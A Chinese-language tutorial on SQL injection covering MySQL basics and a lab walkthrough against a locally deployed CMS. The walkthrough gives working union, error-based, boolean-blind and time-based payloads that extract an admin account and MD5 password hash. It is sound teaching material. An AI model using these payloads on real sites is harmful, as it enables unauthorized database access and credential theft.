文章目录
一:简介
结构化查询语言(Structured Query Language),是一种特殊的编程语言,用于数据库中的标准数据查询语言。1986年10月,美国国家标准协会对SQL进行规范后,以此做为关系式数据库管理系统的标准语言,1987年得到国际标准组织的支持下成为国际标准。不过各种通行的数据库系统在实践过程中都对SQL规范作了某些编改和扩充。所以,实际上不同数据库系统之间的SQL不能完全互相通用。
SQL注入
SQL Injection是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。
二:漏洞原理
针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻击行为。
其成因可以归结为以下两个原因叠加造成的:
1:程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句。
2:未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。
注入点可能存在的位置:
根据SQL注入漏洞的原理,在用户“可控参数”中注入SQL语法,也就是说Web应用在获取用户数据的地方,只要带入数据库查询,都有存在SQL注入的可能。
这些地方通常包括:
GET数据
POST数据
HTTP头部(http请求报文其他字段)
Cookie数据
...
GPC:GET,POST,Cookie
三:漏洞的危害
攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库)。在特别情况下还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限。
脱库的意思为:
是指黑客入侵有价值的网络站点,把注册用户的资料数据库全部盗走的行为。
四:什么是webshell
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站和服务器的管理。正因如此,也有小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的。
五:sql注入漏洞的分类
SQL注入漏洞根据不同的标准,有不同的分类。但是从数据类型分类来看,SQL注入分为数字型和字符型。
数字型:
注入点的数据,拼接到SQL语句中是以数字型出现的,即数据两边没有被单引号或者双引号包括。
字符型:
与数字型正好相反。
根据注入手法分类,大致可分为以下几个类别
UNION query SQL injection(可联合查询注入)
Error-based SQL injection(报错型注入)
Boolean-based blind SQL injection(布尔型注入)
Time-based blind SQL injection(基于时间延迟注入)
Stacked queries SQL injection(可多语句查询注入) 也叫堆叠查询,主要是负责“增删改”,上面四条主要是负责“查”
六:mysql相关
本课程内容主要使用*map环境,既然要探讨SQL注入漏洞,需要对数据库有所了解,此处以mysql为例,这里只是起到抛砖引玉的作用,
其他数据库环境下的SQL注入,读者可以按照本课程的思路去学习,唯一不同的只是数据库的特性。
注释:
mysql数据库的注释大概有以下几种。
#
-- (杠杠空格)
/* ... */
/*! ... */
扩展:mysql的查询方式
交叉连接:
CROSS JOIN 把表A和表B的数据进行一个N*M的组合(A中有3条,B中有4条,那么就有3*4=12条数据),即笛卡尔积。在开发过程中我们肯定是要过滤数据,所以这种很少用。
内联查询
inner join产生的结果是table1和table2的交集
从左表中取出每一条记录,去右表中与所有的记录进行匹配: 匹配必须是某个条件在左表中与右表中相同最终才会保留结果,否则不保留.
内连接可以没有连接条件: 没有on之后的内容,这个时候系统会保留所有结果(笛卡尔积)
内连接还可以使用where代替on关键字,但效率差很多。
select * from table1 inner join table2 on table1.name = table2.name
外联查询
以某张表为主,取出里面的所有记录, 然后每条与另外一张表进行连接: 不管能不能匹配上条件,最终都会保留: 能匹配,正确保留; 不能匹配,其他表的字段都置空NULL。
左联查询
left join:左外连接(左连接),以左表为主表
语法:左表 left/right join 右表 on 左表.字段 = 右表.字段;
SELECT
m.id,
m.admin_user,
m.login_count,
l.level_name
FROM
cms_manage as m
LEFT JOIN cms_level as l ON m.level = l.id
右联查询
right join:右外连接(右连接),以右表为主表
友情连接:https://www.freesion.com/article/8895687203/
mysql元数据库:information_schema
information_schema数据库是mysql自带的,它提供了访问数据库元数据的方式。
什么是元数据呢?
元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语,包括“数据词典”和“系统目录”。
在mysql中,把information_schema看作是一个数据库,确切的说是信息数据库。其中保存着关于mysql服务器所维护的所有其他数据库的信息。
在Information——schema中,有多个只读表,他们实际上是视图,而不是基本表,因此,你将无法看到与之关联的任何文件。
如何查看information_schema
1:启动phpstudy
2:打开cmd命令窗口输入:mysql -uroot -proot 启动mysql服务
3:show databases; 即可看到information_schema
4:use information_schema
5:show tables; 可以看到information_schema的具体内容
树状图分析:
information_schema 数据库名
|
`-- tables 提供了关于数据库中的表的信息。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。
| |
| `-- table_name 这里面存储的是所有数据库中所有的表的名字
| |
| `-- table_schema 这里面记录的是这张表所属的数据库的名字
|
`-- columns 提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。
|
`-- column_name
|
`-- table_name
|
`-- table_schema
6.1:mysql常用参数与函数
= > < >= <= <> 比较运算符
and or 逻辑运算符
version() mysql数据库版本
database() 当前数据库名
user() 用户名
current_user() 当前用户名
system_user() 系统用户名
@@datadir 数据库路径
@@version_compile_os 操作系统版本
length() 返回字符串的长度
substring() 截取字符串,截取的起始位置(从1开始计数),终点位置
substr() 用法同上
mid() 用法同上
left() 从左侧开始取指定字符个数的字符串
concat() 没有分隔符的连接字符串
concat_ws() 含有分隔符的连接字符串
group_concat() 连接一个组的字符串 select group_concat(id)from cms_article;
ord() 返回ASCII码
ascii() 返回ASCII码
rand() 返回0-1之间的随机浮点数
sleep() 睡眠时间为指定的秒数
if(true,t,f) if 判断
hex() 将字符串转换为十六进制
unhex() hex的反向操作
md5() 返回md5值
floor(x) 返回不大于x的最大整数
round() 返回参数x接近的整数
find_in_set() 返回字符串在字符串列表中的位置
benchmark() 指定语句执行的次数
name_const() 返回表做为结果
逻辑运算
在SQL语句中逻辑运算与(and)比 或(or)的优先级高。
select 1=2 and 1=2 or 1=1;
6.2:mysql运行源码:
C:\Users\Administrator>mysql -uroot -proot
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 1
Server version: 5.5.47 MySQL Community Server (GPL)
Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| test |
| xnfh |
+--------------------+
5 rows in set (0.00 sec)
mysql> use information_schema;
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| KEY_COLUMN_USAGE |
| PARAMETERS |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
| INNODB_BUFFER_PAGE |
| INNODB_TRX |
| INNODB_BUFFER_POOL_STATS |
| INNODB_LOCK_WAITS |
| INNODB_CMPMEM |
| INNODB_CMP |
| INNODB_LOCKS |
| INNODB_CMPMEM_RESET |
| INNODB_CMP_RESET |
| INNODB_BUFFER_PAGE_LRU |
+---------------------------------------+
40 rows in set (0.00 sec)
mysql> select 1=2;
+-----+
| 1=2 |
+-----+
| 0 |
+-----+
1 row in set (0.00 sec)
mysql> select 1>2;
+-----+
| 1>2 |
+-----+
| 0 |
+-----+
1 row in set (0.00 sec)
mysql> select 1<2;
+-----+
| 1<2 |
+-----+
| 1 |
+-----+
1 row in set (0.00 sec)
mysql> select true and false;
+----------------+
| true and false |
+----------------+
| 0 |
+----------------+
1 row in set (0.00 sec)
mysql> select true or false;
+---------------+
| true or false |
+---------------+
| 1 |
+---------------+
1 row in set (0.00 sec)
mysql> select version();
+-----------+
| version() |
+-----------+
| 5.5.47 |
+-----------+
1 row in set (0.00 sec)
mysql> select database();
+--------------------+
| database() |
+--------------------+
| information_schema |
+--------------------+
1 row in set (0.00 sec)
mysql> select user();
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
mysql> select current_user();
+----------------+
| current_user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
mysql> select system_user();
+----------------+
| system_user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
mysql> select @@datadir;
+-------------------------+
| @@datadir |
+-------------------------+
| C:\phpStudy\MySQL\data\ |
+-------------------------+
1 row in set (0.00 sec)
mysql> select @@version_compile_os;
+----------------------+
| @@version_compile_os |
+----------------------+
| Win32 |
+----------------------+
1 row in set (0.00 sec)
mysql> select length("abcdefg");
+-------------------+
| length("abcdefg") |
+-------------------+
| 7 |
+-------------------+
1 row in set (0.00 sec)
mysql> select substring("abcdefg",1,3);
+--------------------------+
| substring("abcdefg",1,3) |
+--------------------------+
| abc |
+--------------------------+
1 row in set (0.00 sec)
mysql> select substr("abcdefg",1,2);
+-----------------------+
| substr("abcdefg",1,2) |
+-----------------------+
| ab |
+-----------------------+
1 row in set (0.00 sec)
mysql> select mid("abcdefg",2,6);
+--------------------+
| mid("abcdefg",2,6) |
+--------------------+
| bcdefg |
+--------------------+
1 row in set (0.00 sec)
mysql> select left("abcdefg",6);
+-------------------+
| left("abcdefg",6) |
+-------------------+
| abcdef |
+-------------------+
1 row in set (0.00 sec)
mysql> select concat("a","b","c");
+---------------------+
| concat("a","b","c") |
+---------------------+
| abc |
+---------------------+
1 row in set (0.01 sec)
mysql> select concat_ws("---","a","b","c");
+------------------------------+
| concat_ws("---","a","b","c") |
+------------------------------+
| a---b---c |
+------------------------------+
1 row in set (0.00 sec)
mysql> select ord("a");
+----------+
| ord("a") |
+----------+
| 97 |
+----------+
1 row in set (0.00 sec)
mysql> select ascii("b");
+------------+
| ascii("b") |
+------------+
| 98 |
+------------+
1 row in set (0.00 sec)
mysql> select rand();
+--------------------+
| rand() |
+--------------------+
| 0.8250541014830154 |
+--------------------+
1 row in set (0.00 sec)
mysql> select left(rand(),3);
+----------------+
| left(rand(),3) |
+----------------+
| 0.6 |
+----------------+
1 row in set (0.00 sec)
mysql> select sleep(2);
+----------+
| sleep(2) |
+----------+
| 0 |
+----------+
1 row in set (2.01 sec)
mysql> select if(1,1,2);
+-----------+
| if(1,1,2) |
+-----------+
| 1 |
+-----------+
1 row in set (0.00 sec)
mysql> select if(0,1,2);
+-----------+
| if(0,1,2) |
+-----------+
| 2 |
+-----------+
1 row in set (0.00 sec)
mysql> select 1=2 and 1=2 or 1=1;
+--------------------+
| 1=2 and 1=2 or 1=1 |
+--------------------+
| 1 |
+--------------------+
1 row in set (0.00 sec)
mysql>
七:注入流程
由于关系型数据库系统,具有最明显的库/表/列/内容结构层次,所以我们通过SQL注入漏洞获取数据库中信息的时候,也依据这样的顺序。
获取数据库名 —> 获取表名 —> 获取列名 —> 获取相关数据
在进行注入点判断之前,先下载一个浏览器插件,这里用的是火狐浏览器,下载一个hackbar的插件,建议用2.1.3版本,后续的要收费,firefox_hackbar_v2.1.3_vaopo.zip
这里我给了大家一个自己的文件下载链接:
hackbar下载
密码:CMh69N
7.1 注入点的判断
类似这种网站地址:http://10.157.14.169/cms/show.php?id=33
url 地址栏:
1:通过加减一操作
?id=33 id +1/-1 id进行加减1的操作,判断页面内容是否会发生变化
2:单引号,双引号,单引号+括号,双引号+括号等
?id=33' 判断是字符型还是数字型
near ''' at line 1: 并没有包含单引号前面的字符,就说明是数字型,可以考虑数字型注入
若是有前面的字符,说明这条sql语句有用到单双引号等,则考虑字符型注入
当输入单引号,浏览器页面报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 1
3: and 1=1 / and 1=2 布尔类型判断
判断是否有布尔类型的状态,在?id=33后面添加,看是否有页面的变化
?id=33 and 1=1
?id=33 and 1=2
猜测隐藏的sql语句大概类似是以下模样:
select * from tbName where id=33 and 1=1
select * from tbName where id=33 and 1=2
4:延时判断sleep
?id=33 and sleep(5)
5:注入点的判断 之 总结:
在有sql注入漏洞的情况下:
id +-1 时,页面有变化,就考虑联合查询
没有变化时,那就看有没有报错,
有报错 ===> 报错注入
没报错 ===> 布尔盲注
都不满足,就用延时注入。
sql注入成本依次增加
7.2 cms 实验,sql注入获取管理员账号密码
7.2.1 实验前的说明
说明:
为了演示SQL注入的四大基本手法,我们以CMS为例。http://10.157.14.169/cms/
目标:
通过SQL注入漏洞获得后台管理员账密并成功登录系统。
后台地址:http://10.157.14.169/cms/admin
四大基本手法:
联合查询
报错注入
布尔盲注
延时注入
补充知识点sql语句解析:
FROM
from 后面的表标识了这条语句要查询的数据源
from 过程之后会形成一个虚拟的表VT1
WHERE
where对VT1过程中生成的临时表进行过滤,满足where子句的列被插入到VT2
GROUP BY
group by 会把VT2生成的表按照group by中的列进行分组,生成VT3
HAVING
having这个子句对VT3表中的不同分组进行过滤,满足having条件的子句被加入到VT4表中。
SELECT
select这个子句对select子句中的元素进行处理,生成VT5表。
计算select子句中的表达式,生成VT5.1
distinct删除VT5.1表中的重复列,生成VT5.2
top从order by 子句中定义的结果中,筛选出符合条件的列,生成VT5.3
ORDER BY
order by从VT.53中的表,根据子句中的结果进行排序,生成VT6
7.2.2 实验前的准备,cms部署到服务器
cms下载,我这里给了大家一个链接:cms下载
密码:e5JXEg
下载完成之后,解压会得到两个文件夹,把其中的cms文件夹复制到自己phpstudy的安装目录下,如下图
进入cms文件中:
填充密码,保存退出
然后打开浏览器,进入phpMyAdmin中,
然后创建数据库:
选中左边的cms,页面跳转后,点击导入
选择install.sql文件
这样就把cms网站写入到数据库中了。当然前提自然也包括开启了phpstudy
如下:
7.2.3 注入实验正式开始
点击一条新闻
注入点:
http://10.157.14.169/cms/show.php?id=33
注入点判断:
1:变换id参数
当我们变换id参数(33+1 或者 33-1)的时候,发现同一个页面,show.php页面展现出不同的新闻内容,也就是说,数据库中的内容会回显到网页中来。
初步判定,id参数会带入数据库查询,根据不同的id查询数据库,得到不同的新闻内容。
猜测后台执行的sql语句大致结构为:
select * from tbName where id=33;
2:单引号
?id=33'
执行的sql语句则变为:
select * from tbName where id=33';
页面报错,并且报错信息会回显在网页中,报错信息如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 1
错误信息提示单引号位置出现错误,那么说明,sql语句从头到参数33都是正确的。也就是说,我们添加的单引号是多余的。
因此,可以断定参数33前面没有引号。
则:此注入点(可能)为数字型注入。
3:布尔判断
and 1=1
?id=33 and 1=1 --+ 后面的--+表示注释符号,+后面的所有东西都不属于这条sql语句了
可能的sql语句为:
select * from tbName where id=33 and 1=1 --+
and 1=2
?id=33 and 1=2 --+
可能的sql语句:
select * from tbName where id=33 and 1=2 --+
页面没有新闻内容,并且数据库没有报错。
由于1=2是恒假式,也就是查询条件
where id=33 and 1=2 --+
恒假,这样的sql语句在数据库中执行后,没有返回结果,没有新闻内容。
反过来看,页面没有新闻内容,也就是sql语句查询条件为假。也就是说,我们写的语句
and 1=2 --+
起到了将查询条件置为假的作用。
那么,可以通过构造语句来控制sql语句的查询结果并且sql语句查询条件的真假性,在页面回显中有体现。
4:延时
and sleep(5)
?id=33 and sleep(5)
注入sleep语句,可以通过网络时间线看到延时,这就说明了sleep(5)语句起到了作用。
综上所述:此链接存在sql注入漏洞。
这里先补充一下联合查询这个知识点:
由于数据库中的内容会回显到页面中来,所以我们可以采用联合查询进行注入。
联合查询是sql语法中的union select语句,该语句会同时执行两条select语句,生成两张虚拟表,然后把查询到的结果进行拼接。
union 联合 合并:将多条查询语句的结果合并成一个结果。
语法:查询语句1 union 查询语句2 union …
union关键字默认去重,如果使用union all 可以包含重复项
由于虚拟表是二维结构,联合查询会“纵向”拼接两张虚拟的表。
联合查询可以实现跨库跨表查询。
引入案例:
查询部门编号>90或邮箱包含a的员工信息。
select * from employees where department_id > 90 or email like '%a%';
使用union联合查询
select * from employees where department_id > 90 union select * from employees where email like '%a%';
必要条件:
两张虚拟的表具有相同的列数
虚拟表对应的列的数据类型相同
order by:
ORDER BY 语句用于根据指定的列对结果集进行排序。
ORDER BY 语句默认按照升序对记录进行排序。
如果您希望按照降序对记录进行排序,可以使用 DESC 关键字。
以字母顺序显示公司名称:
SELECT Company, OrderNumber FROM Orders ORDER BY Company
&bsp;
接下来回归实验内容:
判断字段个数:
可以使用 order by 语句来判断当前select语句所查询的虚拟表的列数。order by 语句本意是按照某一列进行排序,在mysql中可以使用数字来代替具体的列名,比如:order by 1 就是按照第一列进行排序,如果mysql没有找到对应的列,就会报错 unknown column ,我们可以依次增加数字(因为数字可以转换为任意的字符类型),直到数据库报错。
order by 1 --+
order by 2 --+
…
order by 15 --+
order by 16
得到当前虚拟表中字段个数为15。
接下来判断显示位置:
得到字段个数之后,可以尝试构造联合查询语句。
这里我们并不知道表名,根据mysql数据库特性,select语句在执行的过程中,并不需要指定表名。
?id=33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+
或者
?id=33 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null --+
因为union语句,会有两个select,一个在union之前,一个在之后,在之前select的没有显示出来。
页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假,则显示第二条记录,也就是union之后的select内容
因此构造SQL语句:
?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+
或者
?id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+
发现3 和 11 回显到页面中来
数据库版本:
我们可以将数字3用函数 version() 代替,即可得到数据库版本。
?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15 --+
当前数据库名:
?id=33 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15 --+
数据库中的表
?id=33 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() --+
若是出现上述报错,考虑用hex()函数将结果由字符串转换成数字。
?id=33 and 1=2 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() --+
把得到的数字放入burp suite professional软件中进行acsii hex 解码,就可以得到表名。
或者(发现一个良心网站)https://coding.tools/cn/hex-to-ascii 进行16进制到ASCII字符串在线转换。
得到数字:636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573736167652C636D735F6E6F746963652C636D735F706167652C636D735F7573657273
进行16进制转ASCII字符:
cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users
那么,管理员账号密码就有可能保存在cms_users表中。
表中字段:
?id=33 and 1=2 union select 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users' --+
上面语句得到十六进制数据:7573657269642C757365726E616D652C70617373776F7264
进行在线转换之后得到:userid,username,password
字段内容:
查询表中的记录数
?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users --+
发现 cms_users 表中只有一条记录
查询字段内容
?id=33 and 1=2 union select 1,2,concat(username,':',password),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users --+
得到的内容:admin:e10adc3949ba59abbe56e057f20f883e
得到的是后台管理员账密,但是密码是以密文的方式保存在数据库中的,通过观察密文可知,此密文为md5密文,可以在线查询,网站为:https://www.cmd5.com。
通过网站后台登录系统:
八:报错注入
在注入点的判断过程中,发现数据库中sql语句的报错信息,会显示在页面中,因此可以进行报错注入。
报错注入原理:就是在错误信息中执行sql语句。
触发报错的方式有很多,具体细节也不尽相同,此处建议直接背公式即可。
补充知识点:order by
group by语句说明:
group by 语句用于结合合计函数,根据一个或多个列对结果集进行分组。
语法:
select column_name, aggregate_function(clolumn_name) from table_name where column_name operator value group by column_name
实例说明:
假定有个"order"表:
O_Id OrderDate OrderPrice Customer
1 2008/12/29 1000 Bush
2 2008/11/23 1600 Carter
3 2008/10/05 700 Bush
4 2008/09/28 300 Bush
5 2008/08/06 2000 Adams
6 2008/07/21 100 Carter
现在我们希望查找每个客户的总金额(总订单)
我们想要使用GROUP BY 语句对客户尽心组合。
select Customer,SUM(OrderPrice) from Orders GROUP BY Customer
得到结果集:
Customer SUM(OrderPrice)
Bush 2000
Carter 1700
Adams 2000
如果省略了group by 会出现什么情况
select Customer,SUM(OrderPrice) from Orders
得到结果集:
Customer SUM(OrderPrice)
Bush 5700
Carter 5700
Bush 5700
Bush 5700
Adams 5700
Carter 5700
group by 重复键冲突
?id=33 and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+
简化版本:
?id=33 union select 1,2,concat(left(rand(),3),'^',(select version()),'^')a,count(*),5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables group by a --+
九:XPATH报错
extractvalue()
?id=33 and extractvalue(1,concat('^',(select version()),'^')) --+
updatexml()
?id=33 and updatexml(1,concat('^',(select database()),'^'),1) --+
十:布尔盲注
原理:利用页面返回的布尔类型状态,正常或者不正常
获取数据库名:
获取数据库长度
?id=33 and length(database())=1 --+
...
?id=33 and length(database())=3 --+
可以断定,当前数据库名的长度为3
数据库名
?id=33 and ascii(substr(database(),1,1))=99 --+
长度为1,页面无显示:
长度为3,页面正常显示:
数据库名猜测:
十一:延时注入
原理:利用sleep()语句的延时性,以时间线做为判断条件
获取数据库名:
获取数据库名长度:
?id=33 and if((length(database())=3),sleep(5),1) --+
数据库名第二位:
?id=33 and if((ascii(substr(database(),2,1))=109),sleep(5),1) --+
由此可知,数据库名第二个字母的ASCII码值为109,即是字母m。
发现页面加载时间增加了5秒钟左右:
十二:口诀
是否有回显 联合查询
是否有报错 报错注入
是否有布尔类型状态 布尔盲注
绝招 延时注入